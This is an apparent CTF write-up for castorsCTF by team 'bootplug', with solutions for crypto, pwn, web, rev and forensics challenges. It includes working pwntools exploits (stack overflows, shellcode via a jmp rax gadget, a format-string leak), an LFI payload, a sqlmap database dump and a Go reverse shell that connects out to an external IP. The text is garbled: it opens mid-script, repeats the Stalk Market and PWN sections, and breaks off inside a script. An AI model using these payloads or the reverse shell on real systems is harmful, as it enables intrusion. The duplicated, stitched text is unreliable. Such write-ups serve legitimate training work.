def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
